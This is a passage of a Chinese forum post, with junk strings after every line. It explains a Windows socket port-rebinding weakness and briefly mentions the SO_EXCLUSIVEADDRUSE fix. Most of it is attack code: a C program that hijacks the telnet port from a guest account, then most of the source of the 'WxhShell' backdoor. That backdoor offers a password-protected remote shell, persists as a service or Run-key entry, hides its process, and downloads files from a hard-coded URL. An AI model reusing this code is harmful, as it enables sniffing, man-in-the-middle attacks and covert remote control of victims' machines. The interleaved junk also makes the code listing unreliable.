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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ('k<XOi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ".2K9j7$  
`H%G3M0a  
  saddr.sin_family = AF_INET; :Hy]  
n~0z_;5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZXiRw)rM  
OYwGz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /="HqBI#i  
(RL>Hn;.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #B}?Zg  
a=]W zlz  
  这意味着什么?意味着可以进行如下的攻击: LgqGVh3\s  
D#rrW?-z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C*~aSl7  
h BMH)aU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eQN.sl5  
JNU/`JN9f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I2Ev~!  
TRvZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OKue" p  
/I{R23o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E)p9eU[#  
sa-9$},z4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v"6 \=@  
*YV S|6bs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D0bnN1VP  
fib#CY  
  #include *:"^[Ckc  
  #include ? 5|/ C  
  #include 2ypIq  
  #include    ISqfU]>[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $ @1u+w  
  int main() $~u.Wq  
  { }uO5q42  
  WORD wVersionRequested; ]KK`5Dv|,e  
  DWORD ret; I."p  
  WSADATA wsaData; H[&@}v,L  
  BOOL val; wz(K*FP  
  SOCKADDR_IN saddr; 440FhD Mj  
  SOCKADDR_IN scaddr; p]|LV)R n  
  int err; *o?i:LE]  
  SOCKET s; Fz"ff4Bx [  
  SOCKET sc; f05d ;  
  int caddsize; E%pz9gcSx  
  HANDLE mt; MiGcA EF;  
  DWORD tid;   ocA]M=3~k  
  wVersionRequested = MAKEWORD( 2, 2 ); a-0cN 9  
  err = WSAStartup( wVersionRequested, &wsaData ); e1(h</MU2  
  if ( err != 0 ) { +oy*Kxs7  
  printf("error!WSAStartup failed!\n"); ;Rnhe_A.  
  return -1; bH9Le  
  } oN,s.Of  
  saddr.sin_family = AF_INET; .XH8YT42  
   Bq}x9C&<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .[pUuVq]  
F'W> 8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `lCuU~~ag  
  saddr.sin_port = htons(23); 8C&x MA^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9C}qVoNu  
  { {U @3yB  
  printf("error!socket failed!\n");  &"S/Lt  
  return -1; S7sb7c'4 k  
  } \HSicV#i  
  val = TRUE; z1j|E :  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 szq+@2:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4<gJ2a3  
  { f\o R:%  
  printf("error!setsockopt failed!\n"); (F5ttQPh  
  return -1; *g7DPN$aQ  
  } ;;#nV$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y:so L:(F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;sQbn|=e"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @EZ>f5IO+  
C3"&sdLb$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $G";2(-k  
  { gA:TL{X0  
  ret=GetLastError(); 0D3OE.$0  
  printf("error!bind failed!\n"); tbur$ 00  
  return -1; {*xBm#  
  } ejcwg*i  
  listen(s,2); 3wt  
  while(1) (2txM"Dja  
  { rK=6]j(K  
  caddsize = sizeof(scaddr); Ye |G44z  
  //接受连接请求 I'_v{k5ZI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &L3 #:jSk  
  if(sc!=INVALID_SOCKET) $Z6D:"K  
  { f%Ke8'&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UxqWnHH.`  
  if(mt==NULL) Q1V2pP+=@  
  { i^g~~h F  
  printf("Thread Creat Failed!\n"); ]Z@k|Nw  
  break; Rc9<^g`  
  } mK\aI  
  } ;'1Apy  
  CloseHandle(mt); /H&aMk}J@y  
  } myvh@@N  
  closesocket(s); ]N}]d +^6  
  WSACleanup(); Q_}n%P:u  
  return 0; j jY{Uq  
  }   <94WZ?{p  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9q|7<raS  
  { dU+0dZdKO  
  SOCKET ss = (SOCKET)lpParam; &o.iUk  
  SOCKET sc; otq,R6 ^  
  unsigned char buf[4096]; l9Pu&M?5  
  SOCKADDR_IN saddr; $9H[3OZPVv  
  long num; jT^!J+?6K+  
  DWORD val; Bl4 dhBZoO  
  DWORD ret; fN[n>%)VO<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {j@+h%sF>+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -Enbcz(B  
  saddr.sin_family = AF_INET; I~RcOiL)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Phlk1*1n  
  saddr.sin_port = htons(23); \(u@F<s-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WOb8 "*OM  
  { # #>a&,  
  printf("error!socket failed!\n"); ptR  
  return -1; 2PBepgQyPU  
  } !%62Phai  
  val = 100; AU`OESSI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7A0dl}:  
  { O5MDGg   
  ret = GetLastError(); B9W/bJ6%  
  return -1; "::9aYd!  
  } ~d+O/:=K_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .0 X$rX=  
  { ~XQ$aRl&  
  ret = GetLastError(); b%<jUY  
  return -1; P#bm uCOS  
  } ]Zv ,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =ZMF]|  
  { )52#:27F  
  printf("error!socket connect failed!\n"); )@$ &FFIu  
  closesocket(sc); $i%HDt|  
  closesocket(ss); m3"c (L`B  
  return -1; dqz1xQ1  
  } Sj1r s#@1  
  while(1) S w "|iBZ@  
  { D;C5,rN t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $Sw,hb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $Q ffrU'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _UIgRkl.  
  num = recv(ss,buf,4096,0); +gNX7xuY  
  if(num>0) )|:8zDuJ  
  send(sc,buf,num,0); @?M; 'xMbB  
  else if(num==0) 40+fGRyOL  
  break; 2%]t3\XW  
  num = recv(sc,buf,4096,0); Xv&%2-V;  
  if(num>0) w3d\0ub  
  send(ss,buf,num,0); j]Ua\|t  
  else if(num==0) ]!-R<[b 6  
  break; f~iML5lG  
  } 1O4D+0@  
  closesocket(ss); Vy r] x  
  closesocket(sc); w'XSb.\)_m  
  return 0 ; x{j+}'9  
  } ++gPv}:$X  
ZR2\ dH*  
l3\9S#3-^  
========================================================== PbQE{&D#  
]3 j[3'  
下边附上一个代码,,WXhSHELL qw)Key  
%0 qc@4  
========================================================== x' ?.~  
]%||KC!O  
#include "stdafx.h" !8Y3V/)NU  
(E IRz>  
#include <stdio.h> Ga?UHw~  
#include <string.h> Pgx+\;w"  
#include <windows.h> 13\Sh  
#include <winsock2.h> a YR\<02  
#include <winsvc.h> 9M nem*  
#include <urlmon.h> CP@o,v-  
b sMC#xT  
#pragma comment (lib, "Ws2_32.lib") |&(H^<+Xp  
#pragma comment (lib, "urlmon.lib") o KlF5I  
Qw}xGlF,  
#define MAX_USER   100 // 最大客户端连接数 ko>M&/^  
#define BUF_SOCK   200 // sock buffer iPz1eUj  
#define KEY_BUFF   255 // 输入 buffer R'r|E_  
R rxRa[{Z  
#define REBOOT     0   // 重启 C~:b*X   
#define SHUTDOWN   1   // 关机 7Z VVR*n|  
[(!Q-8  
#define DEF_PORT   5000 // 监听端口 Zr5'TZ`$  
O${r^6Hh  
#define REG_LEN     16   // 注册表键长度 G1A$PR  
#define SVC_LEN     80   // NT服务名长度 Vj29L?3  
[KD}U-(Wg  
// 从dll定义API M Ey1~h/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @H3|u`6V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s~/57S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]m RF[b$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fu#Y7)r  
+OKA_b"wB  
// wxhshell配置信息 1RmBtx\<  
struct WSCFG { dPRtN@3  
  int ws_port;         // 监听端口 z=u~]:.1O  
  char ws_passstr[REG_LEN]; // 口令 ^NcTWbs-T  
  int ws_autoins;       // 安装标记, 1=yes 0=no $`ON!,oa  
  char ws_regname[REG_LEN]; // 注册表键名 FU^Y{sbDg  
  char ws_svcname[REG_LEN]; // 服务名 /Ql6]8.P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VN?<[#ij  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $B*qNYpPy.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HH+TjX/b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qb@BV&^y&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d"z *Nb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B6-AIPb  
|WQD=J%~(  
}; oJhEHx[f  
hcj{%^p  
// default Wxhshell configuration {E3;r7  
struct WSCFG wscfg={DEF_PORT, }`#j;H$i  
    "xuhuanlingzhe", ='KPT1dW*  
    1, bn5"dxV  
    "Wxhshell", 9tW3!O^_  
    "Wxhshell", 1a \=0=[  
            "WxhShell Service", \? J=mE@;1  
    "Wrsky Windows CmdShell Service", _CHKh*KHML  
    "Please Input Your Password: ", |.^^|@+  
  1, FLw[Mg:L  
  "http://www.wrsky.com/wxhshell.exe", AsV8k _qZL  
  "Wxhshell.exe" GcPB'`!M  
    }; L!`*R)I45  
}ZxW"5oq  
// 消息定义模块 jc3ExOH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |L*6x S[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~4l6unCI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >6n@\n  
char *msg_ws_ext="\n\rExit."; R9S7_u  
char *msg_ws_end="\n\rQuit."; $[WN[J  
char *msg_ws_boot="\n\rReboot..."; Ufyxw5u5F  
char *msg_ws_poff="\n\rShutdown..."; Z?vY3)  
char *msg_ws_down="\n\rSave to "; lv*Wnn@k  
}Ox2olUX  
char *msg_ws_err="\n\rErr!"; Z`e$~n(Bh  
char *msg_ws_ok="\n\rOK!"; AEBw#v!,o  
tW'qO:y+  
char ExeFile[MAX_PATH]; IO?~b XP  
int nUser = 0; ,"4X&>_f  
HANDLE handles[MAX_USER]; bfcD5:q  
int OsIsNt; PGC07U:B  
<!$j9)~x  
SERVICE_STATUS       serviceStatus; 0]f?Dx/8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {6REfY c  
@`#OC#  
// 函数声明 P1M|f4*  
int Install(void); +:j4G^V  
int Uninstall(void); fo/(()  
int DownloadFile(char *sURL, SOCKET wsh); 0b!fWS?,k0  
int Boot(int flag); \Qe'?LRu{  
void HideProc(void); x'VeL|  
int GetOsVer(void); r%O rH-T  
int Wxhshell(SOCKET wsl); cj,&&3sbV  
void TalkWithClient(void *cs); &1\u#LU  
int CmdShell(SOCKET sock); oY| (M_;  
int StartFromService(void); `K1PGibV  
int StartWxhshell(LPSTR lpCmdLine); U`},)$  
?)i6:76(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gME:\ud$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s2,`eV  
Py(wT%w  
// 数据结构和表定义 sIP6GWK$  
SERVICE_TABLE_ENTRY DispatchTable[] = b@UF PE5jy  
{ Iwd"f  
{wscfg.ws_svcname, NTServiceMain}, oZ|{J  
{NULL, NULL} Xmw2$MCB  
}; J~PTVR  
>B|ofwm*  
// 自我安装 J-HabHv  
int Install(void) G5C#i7cpm  
{ oW` *FD  
  char svExeFile[MAX_PATH]; B)LXxdkOn  
  HKEY key; /0'fcjOaQ  
  strcpy(svExeFile,ExeFile); U^WQWa  
pJ<)intcbE  
// 如果是win9x系统,修改注册表设为自启动 KV3+}k  
if(!OsIsNt) { GLoL4el  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lB YS>4~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {RWahnr{  
  RegCloseKey(key); hU=f?jo/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]7Xs=>"Iw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DY%T`}  
  RegCloseKey(key); @)FXG~C*  
  return 0; vErbX3RY2  
    } aTs y)=N  
  } la6e`  
} NWq [22X |  
else { 6Wcn(h8%*  
s?z=q%-p  
// 如果是NT以上系统,安装为系统服务 oWn_3gzw;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D0"yZp}  
if (schSCManager!=0) #&HarBxx  
{ )xXrs^  
  SC_HANDLE schService = CreateService $txWVjR?\  
  ( *HfW(C$  
  schSCManager, }T&;*ww  
  wscfg.ws_svcname, 0Mzc1dG:  
  wscfg.ws_svcdisp, }pU!1GsO  
  SERVICE_ALL_ACCESS, `^@g2c+d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6 I>xd  
  SERVICE_AUTO_START, G=0}IPfp  
  SERVICE_ERROR_NORMAL, n Y.Umj  
  svExeFile, pNk,jeo  
  NULL, ^U|CNB%.  
  NULL, ^Ypb"Wx8  
  NULL, _@}MGWlAPt  
  NULL, <CdG[Ih  
  NULL RaJ }>e  
  ); FkkZyCqZ`  
  if (schService!=0) #6#BSZ E  
  { #gr+%=S'6C  
  CloseServiceHandle(schService); m/"=5*pA  
  CloseServiceHandle(schSCManager); &dHm!b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'FvhzGn9Q  
  strcat(svExeFile,wscfg.ws_svcname); 1]zyME  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %d~9at6-B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A+Pm "|  
  RegCloseKey(key); 88X*:Kf?:  
  return 0; )QJU ]G  
    } }][|]/s?42  
  } hwb(W?*  
  CloseServiceHandle(schSCManager); p{pzOMi6  
} }<x!95  
} V-o`L`(F`  
LKwUpu!  
return 1; &t@6qi`d  
} 8aIq#v  
jL[Is2<@  
// 自我卸载 ;Bc<u[G  
int Uninstall(void) 9 h{:!  
{ "$wPq@  
  HKEY key; u{dN>}{  
R,b O{2O  
if(!OsIsNt) { T W;;OS[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Os OPTp  
  RegDeleteValue(key,wscfg.ws_regname); 7Q4Pjc D  
  RegCloseKey(key); &?ed.V@E5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =M km:'1r  
  RegDeleteValue(key,wscfg.ws_regname); a(QZZq};S  
  RegCloseKey(key); hSf#;=9'  
  return 0; d$C|hT  
  } B7QtB3bn  
} lr= !:D=K  
} F7PZV+\  
else { X;[zfEB  
'%r@D&*vp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8 H"f9S=K  
if (schSCManager!=0) 0aN}zUf  
{ P+cFp7nC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8=_| qy}l/  
  if (schService!=0) mQ `r`DW  
  { frO/ nx|9  
  if(DeleteService(schService)!=0) { q.K$b  
  CloseServiceHandle(schService); ClVpb ew  
  CloseServiceHandle(schSCManager); ,h(+\^ ?,  
  return 0; ^# g;"K0  
  } z4%F2Czai&  
  CloseServiceHandle(schService); W1,L>Az^Ts  
  } |$-d, ] V  
  CloseServiceHandle(schSCManager); -JW6@L@  
} .j$bCKXGx  
} 3'NL1du  
9;WOqBD  
return 1; OU964vv  
} R;m0eG`  
.Yv.-A=ZIg  
// 从指定url下载文件 {~{s=c0  
int DownloadFile(char *sURL, SOCKET wsh) +53zI|I  
{ ,f""|X5  
  HRESULT hr; 2dlV'U_g  
char seps[]= "/"; .KMi)1L)  
char *token; 8t 35j   
char *file; GP k Cgb(  
char myURL[MAX_PATH]; h[)aRo  
char myFILE[MAX_PATH]; 4 ~|TKd{  
.6A:t? .  
strcpy(myURL,sURL); w*R-E4S?2  
  token=strtok(myURL,seps); Y8xnvK*  
  while(token!=NULL) r{3 `zqo  
  { Xv(9 Yh S  
    file=token; bB :X<  
  token=strtok(NULL,seps); = 8e8!8  
  } T7_ SO,X  
tcdn"]#U  
GetCurrentDirectory(MAX_PATH,myFILE); F!cAaL1  
strcat(myFILE, "\\"); +g7nM7,1a  
strcat(myFILE, file); %Yn)t3d  
  send(wsh,myFILE,strlen(myFILE),0); >u[1v  
send(wsh,"...",3,0); $%"}N_M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N5_.m(:  
  if(hr==S_OK) F0(Sv\<::  
return 0; eBRP%<=>D  
else 2%yJo7f$[  
return 1; U@AfRUF&  
w+(wvNmNEK  
} NjyIwo0  
PKs%-Uk  
// 系统电源模块 e{+{,g{iu  
int Boot(int flag) @BW8`Ky1  
{ =}KbE4D+8  
  HANDLE hToken; ~F6gF7]z  
  TOKEN_PRIVILEGES tkp; 4gNRln-  
tLXw&hFk`g  
  if(OsIsNt) { 4'=N{.TtO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >o= p5#{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _Cs}&Bic_  
    tkp.PrivilegeCount = 1; T/6=A$4 #  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "{xv|C<*n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dct#E CT  
if(flag==REBOOT) { E.bbIV6mQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YfU#kvE'  
  return 0; k0uwG'(z9  
} oKJ7i,xT  
else { <|G~S<y}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~,1q :Kue  
  return 0; )t=u(:u]  
} WYzaD}  
  } fb;"J+  
  else { |;-r};  
if(flag==REBOOT) { L2$L.@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sYP@>tHC  
  return 0; E\N=p&g$  
}  (t['  
else { e>Y2q|S85  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?0%TE\I8  
  return 0; (:x"p{  
} `R?W @,@'  
} sB/s17ar  
p>O< "X@  
return 1; \ \}/2#1=c  
} `\0a5UFR  
K! j*:{  
// win9x进程隐藏模块 R u-rp^a  
void HideProc(void) Vgk,+l!4  
{ wKbymmG  
% "^XxVJ*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e.^9&Fk"N  
  if ( hKernel != NULL ) *v3 |  
  { ^eRT8I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AwrK82  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !c($C   
    FreeLibrary(hKernel); f~9Y1|6  
  } $3B?  
;qK6."b`;  
return; EQ $9IaY.  
} LS$82UB&  
h'KtG<+  
// 获取操作系统版本 .U%"oD  
int GetOsVer(void) rv%[?Ml  
{ 2f4c;YS  
  OSVERSIONINFO winfo; lHqx}n@e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jy2nn:1#^  
  GetVersionEx(&winfo); :L0W"$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -=IM8Dny  
  return 1; )&<ExJQ&  
  else 1z:N$O _v  
  return 0; )c !S@Hs  
} GA}^Rh`T-  
Uroj%xN  
// 客户端句柄模块 aB'@8[]z  
int Wxhshell(SOCKET wsl) dhkpkt<G8  
{ =fo/+m5  
  SOCKET wsh; gAP}KR#T  
  struct sockaddr_in client; qQvb;jO  
  DWORD myID; A,)ELVk1F  
EPRs%(w`  
  while(nUser<MAX_USER) w\*/(E<:  
{ FJ"9Hs2  
  int nSize=sizeof(client); hspg-|R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;~1JbP  
  if(wsh==INVALID_SOCKET) return 1; w'XgW0j{  
efR$s{n!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NM.B=<Aw*  
if(handles[nUser]==0) :5J6rj;_  
  closesocket(wsh); 3kY4V*9@-  
else V p{5Kxq  
  nUser++; <LN$[&f#  
  } q+~CA[H5K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Z.@-Tl_  
*xP:7K  
  return 0; }wXD%X@)l  
} t7FQ.E,T  
&J:)*EjVl5  
// 关闭 socket {[ *_HAy7  
void CloseIt(SOCKET wsh)  Jx w<*  
{ m)}MkC-  
closesocket(wsh); aM!#  
nUser--; G - WJlu  
ExitThread(0); I_7EfAqg(  
} It-*CD9  
q2vz#\A?  
// 客户端请求句柄 xS1|Z|&  
void TalkWithClient(void *cs) caht4N{T  
{ k)Wz b  
F DX+  
  SOCKET wsh=(SOCKET)cs; D[M?27  
  char pwd[SVC_LEN];  H>6;I  
  char cmd[KEY_BUFF]; IIiN1 Lu,5  
char chr[1]; iZk``5tPE  
int i,j; G9Tix\SpF  
Hc|U@G  
  while (nUser < MAX_USER) { *pp1Wa7O  
^^uD33@_  
if(wscfg.ws_passstr) { V"iLeC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *'-^R9dN.S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +to9].O7y  
  //ZeroMemory(pwd,KEY_BUFF); 8 GN{*Hg  
      i=0; F9r*ZyNlx  
  while(i<SVC_LEN) { vy2aNUmt  
ZQA C &:  
  // 设置超时 Y'1V(5/&  
  fd_set FdRead; yG$@!*|  
  struct timeval TimeOut; :PkZ(WZ9  
  FD_ZERO(&FdRead); 8f5^@K\c  
  FD_SET(wsh,&FdRead); wkA!Jv%  
  TimeOut.tv_sec=8;  _Qc\v0%  
  TimeOut.tv_usec=0; Dj(7'jT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pc== ]H(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :j4 [_9\  
uF"`y&go  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Jl0Eu  
  pwd=chr[0]; e8<nP t`C  
  if(chr[0]==0xd || chr[0]==0xa) { ZNeqsN{  
  pwd=0; \;gt&*$-  
  break; pUGfm  
  } P@`"MNS  
  i++; f om"8iL1  
    } =A 6O}0z  
%=y3  
  // 如果是非法用户,关闭 socket Q}]kw}b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j],.`Y  
} !5t 3Y  
4{t$M}?N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2tm-:CPG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tuV?:g?  
#!# X3j  
while(1) { Gi4dgMVei  
Wb4{*~  
  ZeroMemory(cmd,KEY_BUFF); 5>Yd\(`K  
gi@ji-10  
      // 自动支持客户端 telnet标准   q.km>XRk~  
  j=0; ?Zp!AV  
  while(j<KEY_BUFF) { 2!?z%s-S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X.9MOdG70  
  cmd[j]=chr[0]; eH/\7)z  
  if(chr[0]==0xa || chr[0]==0xd) { AiHf?"EVT  
  cmd[j]=0; ?u!AHSr(  
  break; bKZ#>%|:o  
  } OUO^/] J1S  
  j++; G$uOk?R#5c  
    } }px]   
w1(06A}/  
  // 下载文件 v} ;qMceJ  
  if(strstr(cmd,"http://")) { X$Vz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Go7hDmu  
  if(DownloadFile(cmd,wsh)) 5?0gC&WfN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZGDtzNG5h  
  else ,GP4I3D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1?#9K j{ql  
  } -8 =u{n  
  else { q'@Ei4  
eE`1;13;  
    switch(cmd[0]) { $: m87cR~  
  ]pTw]SK  
  // 帮助 .ASwX   
  case '?': { m>dcb 6B+g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HKN"$(Q  
    break; \OT)KVwO  
  } ^6y4!='ci  
  // 安装 B&k T#  
  case 'i': { G2{M#H  
    if(Install()) RTBBb:eX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bRz^=  
    else RXS|-_$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sxwW9_C  
    break; }Rxg E~ F  
    } Zbh]SF{3F  
  // 卸载 #_\MD,(  
  case 'r': { *u;">H*BW  
    if(Uninstall()) |aAWW d5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i)PV{3v$J  
    else B~g05`s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |$?Ux,(6  
    break; \(U"_NPp  
    } ;Pqyu ?  
  // 显示 wxhshell 所在路径 q&d&#3Rh  
  case 'p': { 3H}~eEg,  
    char svExeFile[MAX_PATH]; }>X\"  
    strcpy(svExeFile,"\n\r"); 6aZt4Lw2\  
      strcat(svExeFile,ExeFile); yki51rOI*  
        send(wsh,svExeFile,strlen(svExeFile),0); 3_*Xk. .d  
    break; qTh='~m4[  
    } ka)LK@p6  
  // 重启 eGe[sv"k  
  case 'b': { 6 #x)W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~73i^3yf  
    if(Boot(REBOOT)) <kXV1@>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Pg-|Ql  
    else { K&IrTA j}  
    closesocket(wsh); KD"&_PX  
    ExitThread(0); OWXye4`*  
    } % X ,B-h^  
    break; m9<%v0r  
    } #+Yp^6zg  
  // 关机 h?3,B0G  
  case 'd': { Lr?4Y  
